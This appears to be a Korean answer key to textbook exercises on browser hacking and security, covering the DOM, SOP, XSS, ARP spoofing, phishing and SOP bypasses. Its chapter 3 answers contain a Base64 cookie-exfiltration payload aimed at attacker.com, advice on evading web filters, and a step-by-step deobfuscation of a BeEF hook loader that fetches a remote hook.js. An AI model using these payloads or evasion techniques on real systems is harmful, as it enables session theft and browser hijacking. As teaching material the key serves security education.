자바로 배우는

해킹 vs 보안

연습문제 해답

제1장

1 웹 브라우저 안에서 DOM은 어떤 기능을 하는가?

DOM(Document Object Model; 문서 객체 모형)은 브라우저에 렌더링되어 있는 문서의 구조에 접근하는 데 쓰이는 API이다. 주로 HTML 문서의 요소들을 JavaScript를 이용해서 조작(읽기, 수정, 생성)하는 데 쓰이긴 하지만, 원칙적으로 DOM은 언어에 독립적인 추상이다. 즉, HTML과 JavaScript로만 사용할 수 있는 것은 아니다.

2 안전한 브라우저를 가진다는 것이 전일적(holistic) 보안 접근방식에 중요한 이유는 무엇인가?

보안 유지가 필요한 상황에서 웹 브라우저와 웹 서버 사이에는 상호의존성이 존재한다. 보안이 적용된 안전한 웹사이트라면 공격자의 침투가 주어진 세션에 허용된 접근 권한의 문맥으로만 제한되겠지만, 브라우저가 오염되었다면 그 브라우저를 사용하는 개인에 대해서는 그 웹사이트의 보안도 오염된 것이다. 이러한 논리를 더 확장해서, 만일 오염된 브라우저에 연관된 세션에 허용된 기능상의 특권들이 관리 능력에까지 이어진다면 안전한 사이트라도 안전하지 않은 브라우저에 의해 오염될 수 있다. 이를 더욱 확장해서, 사이트들 사이의 암묵적 신뢰 관계를 고려한다면 안전한 사이트가 같은 브라우저의 다른 탭에 열려 있는 안전하지 않은 웹사이트 때문에 오염될 수도 있다는 결론으로 이어진다. 브라우저가 서로 무관한 웹사이트들의 보안 영역들 사이의 연결점으로(잠재적으로는 가장 약한 고리로) 작용하게 되는 과정은 이해하기 어려운 일이 아닐 것이다.

3 SOP란 무엇인가? 공격자가 SOP를 우회하려는 이유는?

SOP(Same Origin Policy; 동일 기원 정책)는 서로 다른 기원들 사이의 완전한 상호작용을 방지하기 위한 보안 제어 수단이나, 여러 브라우저들과 플러그들의 구현이 일관되지는 않다. SOP의 가장 중요한 기능은 다른 기원에서 현재 페이지의 DOM에 접근하지 못하게 하는 것이다. 여기서 기원(origin)은 스킴과 도메인, 포트의 고유한 조합으로 정의된다. SOP는 서로 다른 웹사이트에서 비롯된 자원들이 브라우저를 통해서 서로 상호작용하지 못하게 하기 위해 고안된 것이다. 만일 SOP를 우회할 수 있다면, 공격자는 브라우저에 대한 통제를 더욱 확장해서 다른 기원으로부터 자료를 빼낼 수 있다.

4 서버가 웹 브라우저의 보안을 낮출 수 있는 방법 세 가지를 말하라.

웹 브라우저가 웹 서버에 정의된 사용자 체험을 사용자에게 제대로 표현하기 위해서는 웹 서버를 일정 수준으로 신뢰해야 한다. 현세대 웹사이트가 제공하는 기능에는 다른 기원의 자원들도 포함되기 마련인데, 웹 브라우저가 이를 지원하려면 웹 서버가 전송한 다양한 지시문을 수행할 필요가 있다. 첫째로, 웹 서버는 SOP의 제약을 완화하고 다른 사이트에서 DOM에 접근할 수 있게 하는 느슨한 교차 기원 자원 공유(CORS) 헤더를 보낼 수 있다. 둘째로, 웹 서버는 X-Frame-Options 헤더나 쿠키의 HttpOnly 또는 Secure 플래그 같은 브라우저 보안 기능을 제대로 활용하지 못할 수 있다. 그러면 해당 페이지가 클릭재킹 공격에 취약해지고 공격자가 JavaScript에서 또는 평문 채널을 통해서 쿠키에 접근할 수 있게 된다. 마지막으로, 서버가 원격 기원의 스크립트 내장을 허용하거나 unsafe-evel 같은 지시자를 허용하게 하는 내용 보안 정책(CSP) 헤더들을 보낼 수 있다.

5 웹 브라우저의 공격면은 무엇인가?

공격면은 브라우저에서 신뢰되지 않은 출처들의 영향에 취약한 영역을 말한다. 최소의 경우에서 렌더링 엔진 전체가 공격면이라고 하면 문제의 범위가 명확해진다. 웹 브라우저의 공격면은 크고 계속 확장된다. 수많은 API가 존재하며, 자료를 저장하고 조회하는 추상들도 수없이 많다.

공격면(attack surface)은 외부에서 온, 따라서 신뢰할 수 없는 입력 자료의 처리에 관련된 브라우저의 모든 기능성에 해당한다. 여기에는 브라우저의 기능성 중 외부 자료 및 그 자료의 저장, 처리에 의해 만들어진 2차적인 자료가 영향을 줄 수 있는 모든 측면이 포함된다.

6 모래상자 적용 기법을 설명하라.

모래상자 적용(sandboxing)은 오염의 전파를 구획화(compartmentalization)를 통해 제한함으로써 총괄적인 보안 수준을 강화하기 위한 보안 기능이다. 이 기능은 신뢰 영역들을 설정하고, 브라우저의 기능성을 각 영역의 요구사항에 맞게 제한한다. 한 영역이 오염되어도, 모래상자 덕분에 그 영역이 프로그램(이 경우 브라우저)의 다른 부분에 영향을 미치지는 못한다. 예를 들어 공격자가 WebKit 렌더러 기능성의 여러 부분에 퍼징[fuzzing] 기법을 적용해서 '해제 후 사용(Use After Free, UAF)' 취약점을 발견했다고 해도, 모래상자를 우회하지 못한다면 브라우저의 특권들로 운영체제 명령을 실행할 수는 없다.

7 브라우저가 HTTPS를 이용해서 통신할 때, 프록시가 그 통신을 볼 수 있는가?

프록시 또는 중간자(man-in-the-middle)가 HTTPS 통신을 가로챌 수 있는지는 연결의 종점(termination point)에 달려 있다. 브라우저에는 브라우저가 신뢰하는 인증기관(Certificate Authority)들의 목록이 존재한다. 사용자가 어떤 사이트에 HTTPS로 연결하면 브라우저는 그 사이트의 인증서의 디지털 서명을 점검한다. 만일 어떠한 이유로(호스트 이름이 일치하지 않거나, 신뢰하는 인증기관이 서명한 인증서가 아니거나, 인증서가 만료되었다거나 등등) 인증서가 유효하지 않다는 결론이 나면 브라우저는 해당 연결이 안전하지 않다는 경고 메시지를 사용자에게 표시한다. 만일 사용자가 그래도 연결하겠다고 하면 브라우저는 웹사이트가 제공한 공개키(public key)를 이용해서 HTTPS 연결을 수립한다. 그런데 프록시가 통신 과정의 이러한 측면을 가로채서 자신의 인증서를 제공하는 것이 가능하다. 따라서 프록시가 중간에서 연결을 끊어서 브라우저가 실제 웹사이트를 보지 못하게 할 수 있다. 연결을 종료하지 않는 프록시는 자료를 원격 서버에 직접 전달해야 하며, 그러면 암호화된 자료 스트림을 해독하지 못한다.

8 보안 관련 HTTP 헤더 세 가지를 말하라.

`Content-Security-Policy` 헤더를 이용하면 렌더링된 페이지 안에 적재할 수 있는 스크립트의 위치와 특권들을 제한할 수 있다. 따라서 이 헤더는 XSS 공격을 방지하는 데 도움이 된다.

`Strict-Transport-Security` 헤더를 이용하면 평문(암호화되지 않은) 통신 채널을 통해 전달된 내용을 사용자가 받아들이지 못하게 할 수 있다. `X-Frame-Options`를 이용하면 브라우저가 페이지를 IFrame에 적재하지 못하게 할 수 있다.

9 견고성 원리가 보안 전문가에게 적합하지 않은 이유는 무엇인가?

포스텔의 법칙(Postel's Law)이라고도 하는 견고성 원리(Robustness Principle)는, 프로그래머가 외부에서 온 자료는 표준을 준수하는 한도 안에서 대범하게 받아들이되 자신의 출력은 보수적으로 취급해야 한다는 것이다. 이 원리는 보안보다 기능성을 우선시한다. 즉, 외부 입력을 거부함으로써 프로그램의 기능성이 축소되는 상황을 피하기 위해, 서드파티 쪽의 실수나 누락을 프로그램이 최대한 벌충하는 것을 권장한다. 그러나 이는 강력한 보안의 달성에 필요한 것과는 정반대의 원리이다. 오류를 너무 관대하게 처리하는 대범한 프로그램은 악성 공격 시도를 단순한 실수로 간주할 것이며, 그러면 보안을 위한 제약이 제대로 지켜지기 힘들기 때문이다. 그런 프로그램은 악성 요청을 거부하지 않고 성실하게 응대하려 노력할 것이며, 결과적으로 보안 제약이 유지되지 않을 확률이 커진다.

10 Internet Explorer에서만 사용할 수 있고 다른 현세대 브라우저들에서는 사용할 수 없는 스크립팅 언어는 무엇인가?

Internet Explorer만 구현하는 스크립팅 언어로 VBScript가 있다. 원래 VBScript는 웹 페이지의 생성과 렌더링을 돕기 위해 고안된 언어로, 여러모로 JavaScript와 비슷하다. 두 언어 모두 1996년 8월에 나온 Internet Explorer 3와 함께 등장했으나, 당시 Microsoft는 JavaScript 대신 JScript라는 이름을 사용했다.

제2장

1 공격자의 코드를 웹 브라우저 안에서 실행할 수 있다고 할 때, 공격자가 수행할 만한 행동을 몇 가지 제시하라.

공격자가 수행할 수 있는 행동들은 주입된 코드의 실행 문맥에 따라 다르다. 그러나 일반적으로 공격자가 가장 먼저 취하는 행동은 오염된 기원의 문맥 하에서 초기의 JavaScript 코드를 실행하는 것이다. 그다음으로 할 수 있는 행동들은 아주 다양한데, 이를테면 세션이나 도메인과 연관된 쿠키를 오염시키거나, 페이지의 내용과 모습을 변조하거나, 브라우저나 플러그인의 취약점을 공격하는 악성 코드를 실행하거나, 임의의 기원에 요청을 보내고 오염된 기원에 있는 서버의 응답을 읽는 등의 일이 가능하다.

2 여러 XSS 공격들의 주된 차이점을 서술하라.

세 가지 주요 XSS 공격은 DOM XSS, 반사된 XSS, 저장된 XSS이다. DOM XSS는 클라이언트 쪽 취약점을 악용한다는 점에서 다른 둘과 다르다. 반사된 XSS는 악성 코드가 현재 웹 페이지에서 비롯되므로 해당 사용자만 영향을 받지만, 저장된 XSS는 악성 코드가 서버 쪽에 저장되므로 해당 사이트에 접속하는 모든 사용자가 영향을 받는다.

3 XSS 실행을 방지하는 브라우저의 억제 수단을 서술하라.

브라우저들은 XSS 공격을 검출하고 방지하기 위해 XSS 필터를 구현한다. XSS Auditor(Chrome과 Safari)와 XSS 필터(Internet Explorer)가 좋은 예이다. XSS 공격의 검출 및 방지 방법이 딱 하나로 정해져 있는 것은 아닌데, 흔히 쓰이는 방법은 그런 공격들에 흔히 쓰이는 함수들을 걸러 내는 것이다. 그러나 이런 '블랙리스트' 접근방식을 우회하는 기법들이 여럿 등장했다. 이보다는 Firefox용 "NoScript"처럼 좀 더 엄격한 접근방식을 사용하는 확장 기능들이 더 효과적일 수 있다. 그런 확장 기능들은 이를테면 신뢰할 수 있는 특정 기원에서 전송된 JavaScript 코드만 실행하는 방식의 '화이트리스트' 접근방식을 사용한다. 이는 추가적인 보안을 위해 기능성을 희생하는 사례에 해당한다.

4 잘 알려진 XSS 바이러스를 하나 선택해서 그 전파 과정을 서술하라.

아마도 가장 유명한 XSS 바이러스는 새미 웜[Samy Worm]일 것이다. 이 바이러스는 MySpace 웹사이트의 '저장된 XSS' 취약점을 이용해서 한 사용자(Samy)의 프로파일에 JavaScript XSS 악성 코드를 올렸다. 그 프로파일 페이지에 방문하면 사용자 Samy가 방문자의 '친구' 목록에 추가되며, 방문자의 프로파일 페이지 역시 같은 악성 코드에 감염된다. 결과적으로 악성 코드가 기하급수적으로 전파되어서, 20시간도 되기 전에 사용자 Samy가 백만 건이 넘는 친구 요청을 받게 되었다.

5 공격자가 웹사이트를 오염시켜서 공격자 자신의 악성 코드를 제공하도록 웹사이트를 수정하는 방법을 서술하라.

저장된 XSS 취약점을 발견해서 악용하는 것 외에도 공격자가 웹 응용 프로그램을 장악하는 방법은 무수히 많다. 예를 들면: (추가 해답을 준비중입니다.)

6 sslstrip은 어떤 상황에서 사용할 수 있는가?

`https:` 스킴을 사용하는 자원을 가리키는 HTML 페이지 내부 링크들과 재지정 지시문을 수정하고자 할 때 sslstrip을 사용할 수 있다. sslstrip은 해당 내용이 네트워크를 타고 전송되는 도중에 즉석에서 그러한 수정을 수행하므로, ARP 속이기 공격에서처럼 공격자가 네트워크 소통을 감시, 수정하는 위치에 있을 때 사용해야 한다.

7 ARP 속이기를 서술하라.

ARP 중독(poisoning)이라고도 하는 ARP(Address Resolution Protocol) 속이기는 ARP 프로토콜 자체에 내재한 보안상의 결점을 이용해서 지역망 안에서 통신의 정상적인 흐름을 변조하는 기법이다. 보통의 상황에서 ARP는 IP 주소를 네트워크 어댑터의 MAC(Media Access Control) 주소와 연관시킴으로써 호스트들의 상호 통신을 촉진하는 역할을 한다. ARP 속이기에 활용할 수 있는 ARP 프로토콜 메시지는 다양하나, 본질적인 기법 자체는 항상 같다. 공격자는 특정 IP 주소를 특정 MAC 주소에 연관시키라는(이전의 연관을 대신해서) 메시지를 한 시스템에게 보낸다. 예를 들어 공격자가 같은 LAN(Local Area Network)에 있는 다른 호스트에게 게이트웨이 주소를 공격자 자신의 MAC 주소와 연관시키라는 악성 ARP 패킷을 보냈다고 하자. 그러면 대상 호스트가 원래 게이트웨이로(따라서 잠재적으로는 인터넷으로) 보내려 했던 모든 통신을 공격자가 관찰할 수 있으며, 필요하다면 수정도 할 수 있게 된다.

8 피싱과 스팸의 차이는 무엇인가?

스팸은 요청하지 않은 사람에게 전송되는(종종 대량으로), 실제 또는 가짜의 재화나 용역을 광고하는 이메일을 지칭하는 용어이다. 사용자의 민감한 정보를 노리는 자신의 불법 행위를 굳이 숨기려 들지 않는 스팸들도 있다. 피싱은 사용자가 자신의 민감한 정보를 노출하거나 그 외의 뭔가를 부지불식간에 제공하게 하는 행동을 유발하는 것을 목적으로 하는 악의적인 이메일을 보내는 것을 말한다.

9 사회공학 공격을 수행하는 단계들을 간단히 서술하라.

다음은 웹사이트와 피싱을 이용한 원격 사회공학 공격의 전형적인 과정을 간략히 나열한 것이다.

1. 웹사이트 준비 — 악성 코드를 포함한 가짜 웹사이트를 만든다.
2. 피싱 이메일 생성 — 피해자를 웹사이트로 유도하는 이메일을 작성한다.
3. 피싱 이메일 발송 — 이메일 대량 발송기(mass-mailer) 등을 이용해서 피싱 이메일을 다수의 사용자에게 보낸다.

10 물리적인 '미끼' 기법을 서술하라.

물리적인 '미끼' 기법에서는 작동 시 보안을 오염시킬 수 있는 실제 물품을 배치하거나 배포한다. 이를테면 악성 코드를 담은 USB 메모리를 배포하거나, 악성 코드가 있는 사이트의 URL을 담은 QR(Quick Response) 코드를 스캐닝 앱으로 스캔하게 해서 해당 사이트가 열리게 만든다. 각각의 경우에서 초기 공격 매개체는 실제 물품을 무심코 사용함으로써 임의의 자원과 연결되게 만드는 사용자 자신이다.

제3장

1 XmlHttpRequest 채널 대신 WebSocket 프로토콜을 사용하는 것의 이점은 무엇인가?

가장 중요한 이점은 WebSocket 채널의 스트리밍 특성 덕분에 반복적인 서버 폴링(전이중 통신을 흉내 내기 위한)이 필요하지 않다는 것이다. 둘째는 속도 증가이다. 이는 부분적으로 첫째 이점에서 기인한다. 또한 WebSocket이 Blob나 ArrayBuffer 같은 다중 자료집합을 고유하게 지원하기 때문에 직접적인 이진 통신이 가능하다는 점도 속도를 크게 증가시키는 요인이다.

2 DNS 기반 통신 채널의 작동 방식을 서술하고, 그러한 채널이 은밀한 통신에 도움이 되는 이유를 말하라.

HTTP 프로토콜의 정의에 따르면 페이지 안의 자원이 FQDN(Fully Qualified Domain Name; 완전 한정 도메인 이름)을 포함할 수 있다. 이 때문에 브라우저는 내부적으로 DNS 시스템을 지원한다. 공격자는 그러한 기능을 활용해서 자신이 통제하는 도메인의 하위 도메인들에 여러 요청을 보냄으로써 자료를 외부로 유출할 수 있다. 물론 자료를 적절한 형태로 부호화해야 하며, 질의 문자열의 전체 길이가 255자 이하이어야 한다. 양방향 통신도 가능하지만 좀 더 복잡하다. 제3장에서는 시간 지연에 기초해서 하위 도메인과의 연결 성공/실패 여부를 판정하고, 그것들을 자료의 비트들로 간주해서 서버의 메시지를 재구축하는 방법을 설명했으며, 그러한 과정을 좀 더 빠르게 수행하는 방법도 소개했다.

3 브라우저 후킹이란 무엇인가?

공격자가 브라우저의 초기 통제권을 획득한 후 중요한 것은 그 통제권을 계속 유지하는 것이다. 후킹은 공격자가 운영하는 서버와의 양방향 통신 채널이 확립될 정도로 브라우저를 충분히 통제하는 것을 말한다. 후킹에 성공하면 공격자는 일정 기간 동안 후킹된 기원을 일정한 수준으로 제어할 수 있다.

4 IFrame을 사용할 수 없는 상황에서 브라우저 내부자 공격이 효과적인 이유는?

웹 서버가 IFrame 사용을 방지하는 것은 간단하다. `X-Frame-Options` 헤더 지시문을 사용하면 된다. 그러나 내부자 공격을 방지하는 것은 좀 더 어렵다. 내부자 공격에 필요한 기능을 간단하게 꺼 버리는 서버 쪽 보안 스위치는 없기 때문이다. 내부자 공격은 착수하기는 좀 까다롭지만, 일단 성공하면 현재 페이지를 크게 뜯어고칠 수 있다는 장점이 있다. 현재 페이지의 구조를 임의로 개조하는 것은 물론 페이지에 대한 사용자의 동작도 가로챌 수 있기 때문에, 주입된 악성 코드의 실행이 페이지 재적재 때문에 중단되는 일을 방지하기 쉽다. 내부자 공격에서는 또한 `XmlHttpRequest` 같은 여러 JavaScript 객체들의 원형을 재정의하는 등의 고급 기법도 가능하다.

5 공백 부호화를 이용한 검출 회피 기법의 작동 방식을 서술하라.

공백 부호화는 ASCII 문자의 비트들을 특정 공백 문자들에 대응시키는 이진 부호화 기법이다. 예를 들어 비트 1을 빈칸(space) 문자에 대응시키고 비트 0을 탭 문자에 대응시킴으로써, 오직 그 두 공백 문자들만으로도 임의의 자료를 전송할 수 있다. 물론 자료를 받는 쪽에서는 그러한 공백 문자열을 해독해서 원래의 문자열로 복원하는 코드를 실행해야 한다.

6 웹 필터링 솔루션으로 보호되는 네트워크에 속한 대상에게 공격 작전을 펼친다고 하자. 어떤 회피 기법들을 사용해야 할까? 그것들을 어떻게 조합해서 사용하면 좋을까?

이 질문에 어떤 결정적인 답은 없겠지만, 웹 필터링 솔루션이 주어진 웹 요청을 차단하는 근거로 사용하는 문자들 또는 문자열들을 피하는 기법이 필요하다는 것은 거의 확실하다. 다양한 기법들을 조합해서 사용함으로써 요청의 난독화 수준을 높이고 금지 키워드가 검출될 확률을 낮춘다면 성공 확률을 최대화하는 데 도움이 될 것이다. 한 예로, 우선 문자열을 여러 조각으로 나눈 후 다시 연결해서 JavaScript 코드를 여러 부분으로 나누고, 그것을 Base64 방식으로 부호화한다. 그런 다음 `eval()`처럼 흔히 차단되는 함수를 `setInterval()`이나 `setTimeout()`처럼 덜 차단되는 함수로 대체한다. 본문에는 `setTimeout(atob("bG9jYXRpb24uaHJlZj0naHR0cDovL2F0dGFja2VyLmNvbT9jPScrZG9jdW1lbnQuY29va2ll"));`라는 예가 나왔다.

7 악성 프로그램 검출 기술에 대해 시간 지연을 이용한 검출 회피 기법이 효과적인 이유는?

코드 난독화 기법으로 만들어 낼 수 있는 코드 조합이 너무나 많기 때문에, 악성 프로그램 검출 기술은 주어진 JavaScript 코드가 하는 일을 분석할 때 JavaScript 런타임 엔진의 도움을 받는다. 그런데 그런 기술들은 분석 과정의 속도를 높이기 위해 `setTimeout()`이나 `setInterval()`처럼 시간 지연을 유발하는 함수를 무시하거나 해당 시간 지연을 충실하게 에뮬레이션하지 않는 경향이 있다. 따라서 그런 함수의 호출에 포함된 악성 코드는 검출되지 않고 통과될 가능성이 존재한다.

8 DOM 사건을 가로채는 예제를 제시하라.

원형 재정의를 이용해서 가로챌 수 있는 DOM 사건들이 많이 있다. 그런 사건들이 많은 만큼 이 질문의 정답도 다양할 것이다. 혹시 독자가 본문에 나온 예를 제시했다면, 그것을 직접 실행해서 실제로 작동하는지 확인해 보기 바란다. 본문에 나온 `onclick`의 예 이외에 `onmouseover`, `onmouseout`, `onload` 등도 가능하다. 또 다른 예로는, 요청 세부사항의 복사본을 공격자의 서버로 전송하도록 `XmlHttpRequest.send()`의 원형을 재정의하는 것을 들 수 있겠다.

9 독자가 생각하기에 가장 안정적인 지속성 확보 기법은 무엇인가? 그 기법을 이번 장에서 말한 기법들과 조합해서 사용하는 문제에 대해서도 의견을 말하라.

필자가 생각하기에 가장 안정적인 지속성 확보 기법은 이미 방어 수단이 잘 확립된, 그리고 보안 점검이 이미 실행되고 있는(이를테면 웹 보안 스캐너 제품들에서) 기법이 아닐까 한다. 항상 그렇듯이 보안 기능을 구현하는 웹 서버들(또는 웹 브라우저들)의 분포는 대체로 일정하며, '접목(inoculation)'들의 출현 빈도는 포물선과 비슷한 형태를 띤다. 즉, 처음에는 표준을 채용하는 사이트들이 소수이지만 점차 대세를 이루고, 결국에는 해당 보안 기능을 구현하지 않은 사이트들이 소수가 되는 식이다. 따라서 가장 안정적인 방법은 상당히 오랫동안(심지어는 사용자가 부모 페이지를 닫은 후에도) 검출되지 않을 완전히 새로운 페이지를 띄우는 수단을 제공하는 팝언더(전통적인 팝업과는 조금 다른) 기법이라 할 수 있다. 그러나 팝언더 창은 방어가 가장 잘되는 기법이기도 하다. 현재 대부분의 브라우저는 기본적으로 팝업을 방지하기 때문이다. 현재 우리의 둘째 선택은 완전한 지속성 버퍼를 즉시 제공하는 IFrame 기법이다. 그다음으로는 브라우저 내부자 공격 같은 좀 더 복잡한 방법들이 있다. 신뢰성(임의의 상황에서 성공적으로 배치될 확률을 최대화한다는 의미에서)을 위해서는, 난독화된

악성 코드를 공백 문자들로 부호화해서 시간 지연 기법으로 전송하는 등의 최신 기법과 사건 재정의를 결합한 혼성 브라우저 내부자 공격이 바람직할 것이다.

10 다음은 JavaScript 코드를 부호화한 결과이다. 원래의 코드가 하는 일을 서술하라. 이 문자열을 https://browserhacker.com에서 내려받을 수 있다.

난독화된 코드:

```
ZXZhbChmdW5jdGlvbihwLGEsYyxrLGUscil7ZT1mdW5jdGlvbihjKXty
ZXR1cm4gYy50b1N0cmluZyhhKX07aWYoIScnLnJlcGxhY2UoL14vLFN0
cmluZykpe3doaWxlKGMtLSlyW2UoYyldPWtbY118fGUoYyk7az1bZnVu
Y3Rpb24oZSl7cmV0dXJuIHJbZV19XTtlPWZ1bmN0aW9uKCl7cmV0dXJu
J1xcdysnfTtjPTF9O3doaWxlKGMtLSlpZihrW2NdKXA9cC5yZXBsYWNl
KG5ldyBSZWdFeHAoJ1xcYicrZShjKSsnXFxiJywnZycpcLGtbY10pO3Jl
dHVybiBwfSgnZiAzKGEpe2k9XCdcXHZcJz09XCd2XCc7OCghaSl7Mi5o
KFwnNlwnKVswXS43KGEpfX07cz0yW1wnOVwnK1wnYlwnK1wnY1wnW1wn
ZFwnXSgvZS8sXCc1XCcpXShcJ2dcJyk7ND0iai5rL2wiKyI6MS5tLm4u
byIrIi8vOnAiOzQucSgiIikucigpLnQoIiIpO3MudT13KHgoInk9PSIp
KTszKHMpOycsMzUsMzUsJ3x8ZG9jdW1lbnR8eGlydU1ESnxuZGh5c3xF
bGVtfGhlYWR8YXBwZW5kQ2hpbGR8aWZ8cnxlYWhxqb2lufHNyY3x8ZXZh
d2VlbnRlbnR8cmVwbGFjZXw0MjM0MjNzZGZ3ZWVudHxmdW5jdGlvbnxz
Y3JpcHR8Z2V0RWxlbWVudHNCeVRhZ05hbWV8fHNqfGtvb2h8MDAwM3w3
Nnw2MXwyNzF8cHR0aHxzcGxpdHxyZXZlcnNlfHxqb2lufHNyY3x8ZXZh
bHxhdG9ifEluTnFMbXR2YjJndk1EQXdNem94TGpjMkxqWXhMakkzTVM4
dk9uQjBkR2dpTG5Od2JHbDBLQ0lpS1ZzbmNtVjJKeXNuWVdGaFlXRW5X
eWR5WlhCc1lXTmxKMTBvTDJGaFlXRmhMeXduWlhKelpTY3BYU2dwV3lk
cWIybHVKMTBvSWlJcE93Jy5zcGxpdCgnfCcpLDAse30pKQ==
```

이 질문은 의도적으로 어렵게 만든 것이다. 이것을 해독하는 과정은 다음과 같다.

base64 복호화를 적용하면 다음과 같은 코드가 나온다.

```
                    eval(function(p,a,c,k,e,r)e=function(c)return
c.toString(a);if(!''.replace(/^/,String))while(c--)r[e(c)]=k[c]||e(c);k=[function(e)
return r[e]];e=function()return'\w+';c=1;while(c--)if(k[c])p=p.replace(new RegExp('\
b'+e(c)+'\b','g'),k[c]);return p('f 3(a)i=;s=2['+'+'['](/e/,')](;4="j.k/l"+":1.
m.n.o"+"//:p";4.q("").r().t("");s.u=w(x("y=="));3(s);',35,35,'||document|xiruMDJ|ndhy
s|Elem|head|appendChild|if|cr||eate|423423sdfweentent|replace|423423sdfweent|function
|script|getElementsByTagName||sj|kooh|0003|76|61|271|ptth|split|reverse||join|src||ev
al|atob|InNqLmtvb2gvMDAwMzoxLjc2LjYxLjI3MS8vOnB0dGgiLnNwbGl0KCIiKVsncmV2JysnYWFhYWEnW-
ydyZXBsYWNlJ10oL2FhYWFhLywnZXJzZScpXSgpWydqb2luJ10oIiIpOw'.split('|'),0,))
```

이는 JSmin 같은 도구로 압축한 결과로 보인다. 여기에 코드 미화(beutifying)를 적용하면 다음과 같은 결과를 얻는다.

```
function xiruMDJ(a)
    i = '
    if (!i)
        document.getElementsByTagName('head')[0].appendChild(a)

;
s = document['cr' + 'eate' + '423423sdfweentent' ['replace']
(/423423sdfweent/, 'Elem')]('script');
ndhys = "sj.kooh/0003" + ":1.76.61.271" + "//:ptth";
ndhys.split("").reverse().join("");
```

```
s.src = eval(atob("InNqLmtvb2gvMDAwMzoxLjc2LjYxLjI3MS8vOnB0dGgiL}
nNwbGl0KCIiKVsncmV2JysnYWFhYWEnWydyZXBsYWNlJ10oL2FhYWFhLywnZXJzZ}
ScpXSgpWydqb2luJ10oIiIpOw=="));
xiruMDJ(s);
```

변수 s에 대한 배정문의 우변을 정리하면 다음과 같다. 즉, s에는 하나의 script 요소가 배정된다.

```
document['createElement']('script')
```

마침표 표기법이 아니라 대괄호 표기법이 쓰였음을 알 수 있다. 또한 createElement는 간단한 문자열 치환을 통해서 난독화되었다.

그다음 두 줄은 ndhys 변수에 배정된 문자열을 좌우로 뒤집는다. 결과적으로 ndhys는 http://172.16.67.1:3000/hook.js가 된다.

다음으로, 코드는 base64로 부호화된 다음 문자열을 복호화한 결과로 eval을 호출한다.

```
InNqLmtvb2gvMDAwMzoxLjc2LjYxLjI3MS8vOnB0dGgiLnNwbGl0KCIiKVsncmV2Jys}
nYWFhYWEnWydyZXBsYWNlJ10oL2FhYWFhLywnZXJzZScpXSgpWydqb2luJ10oIiIpOw==
```

이 문자열을 복호화한 결과는 다음과 같다.

```
"sj.kooh/0003:1.76.61.271//:ptth".split("")['rev'+'aaaaa'['replace']
(/aaaaa/,'erse')]()['join']("");
```

이 코드 조각은 이전에 나온 것처럼 문자열을 뒤집는 것인데, 숨겨진 reverse 함수 이름을 문자열 치환으로 복원한다는 점과 마침표 표기법 대신 대괄호 표기법을 사용했다는 점이 다르다. 이 코드를 eval로 평가한 결과가 script 요소 s의 src에 배정되는데, 그것은 이전에 ndhys에 배정된 것과 동일한 URL이다(따라서 이는 기본적으로 코드 중복이다).

이제 난독화된 코드의 원본이 밝혀졌다. 이 코드가 실행되면 새 script 요소가 생성되지만, DOM에 추가되지는 않는다. 추가를 위해서는 xiruMDJ 함수가 호출되어야 한다. 이 함수는 변수 i의 부울 값이 false로 평가될 때에만 script 요소를 현재 문서의 head 요소에 추가한다.

Internet Explorer을 제외한 모든 주요 브라우저에서 변수 i는 false이다. 사실, 주요 JavaScript 엔진들 중 문자 'v'를 수직 탭 문자 '\V'와 같다고 간주하는(따라서 '\V'=='V'가 true로 평가되는) 것은 IE의 Trident뿐이다. 결론적으로, 주어진 코드는 현재 브라우저가 IE가 아닌 경우에만(JavaScript 엔진의 기벽을 이용해서 판정) 브라우저를 BeEF에 후킹하는 코드이다.

제4장

1 동일 기원 정책(SOP)이 무엇이고 브라우저 보안에 왜 중요한가?

SOP(Same Origin Policy; 동일 기원 정책)는 서로 다른 기원들 사이의 완전한 상호작용을 방지하기 위한 보안 제어 수단이나, 여러 브라우저들과 플러그들의 구현이 일관되지는 않다. SOP의 가장 중요한 기능은 다른 기원에서 현재 페이지의 DOM에 접근하지 못하게 하는 것이다. 여기서 기원(origin)은 스킴과 도메인, 포트의 고유한 조합으로 정의된다. SOP는 서로 다른 웹사이트에서 비롯된 자원들이 브라우저를 통해서 서로 상호작용하지 못하게 하도록 고안된 것이다. 만일 SOP를 우회할 수 있다면, 공격자는 브라우저에 대한 통제를 더욱 확장해서 다른 기원으로부터 자료를 빼낼 수 있다.

2 공격자의 관점에서 SOP 우회가 아주 흥미로운 이유는 무엇인가?

SOP를 우회할 수 있으면 브라우저 안의 공격면에 대한 또는 브라우저에서 도달할 수 있는 공격면과의 상호작용에 대한 기본적인 제약이 사라진다. 그러면 공격자는 자유로이 임의의 호스트로 요청을 보내고 그 응답을 받을 수 있으며, 브라우저 안에 적재된 다른 기원의 DOM에 마음대로 접근할 수 있다. 결과적으로 브라우저에 대한 공격 가능성과 공격자의 통제 수준이 크게 높아진다.

3 후킹된 브라우저를 HTTP 프록시로 사용하는 방법을 설명하라. SOP를 우회했을 때와 그렇지 않았을 때의 차이는 무엇인가?

JavaScript와 AJAX의 위력 덕분에, 사용자의 상호작용 없이 프로그램을 통해서 브라우저가 요청을 보내고 그 응답을 받도록 제어하는 것이 가능하다. 적절한 함수들을 조작해서 외부 요청들을 감지하는 수단들을 포함시킨다면 터널링 프록시를 만들어 낼 수 있다. BeEF의 Tunneling Proxy 확장 기능은 그 두 측면을 모두 구현하고 있다. SOP를 우회하지 못했다면 SOP 때문에 프록시는 자신이 실행되고 있는 기원을 벗어나지 못하게 된다. SOP를 우회하면 그러한 제약을 제거되어서 프록시로 임의의 기원에 연결할 수 있다.

4 Java의 SOP 우회 방법 하나를 서술하라.

방법은 여러 가지인데, 본문에서 각 방법의 예를 제시했다. Java의 구현에 내재한 결함을 이용하면 SOP를 '확장(원래의 의도에 반하는 방식으로 작동하도록)'할 수 있는데, 여타의 SOP들의 관점에서 본다면 사실상 SOP를 우회한다고 말할 수 있을 것이다. Neal Poole은 애플릿을 실제로 제공한 곳(재지정의 대상)이 아니라 HTTP 301이나 302 재지정 헤더를 보낸 출처가 애플릿의 기원으로 잘못 정의된다는 결함을 이용해서 SOP를 우회하는 방법을 발견했다. Fredrick Braun은 jar 파일(그리고 odt, docx 등의 다른 zip 기반 파일 형식들)에 대한 SOP를 피하는 방법을 발견했다. 그 방법을 이용하면 jar 스킴을 이용해서 URL 객체를 생성함으로써 임의의 기원에서 jar 파일을 적재할 수 있게 된다.

5 Safari의 SOP 우회가 어떤 식으로 이루어지는지 설명하라.

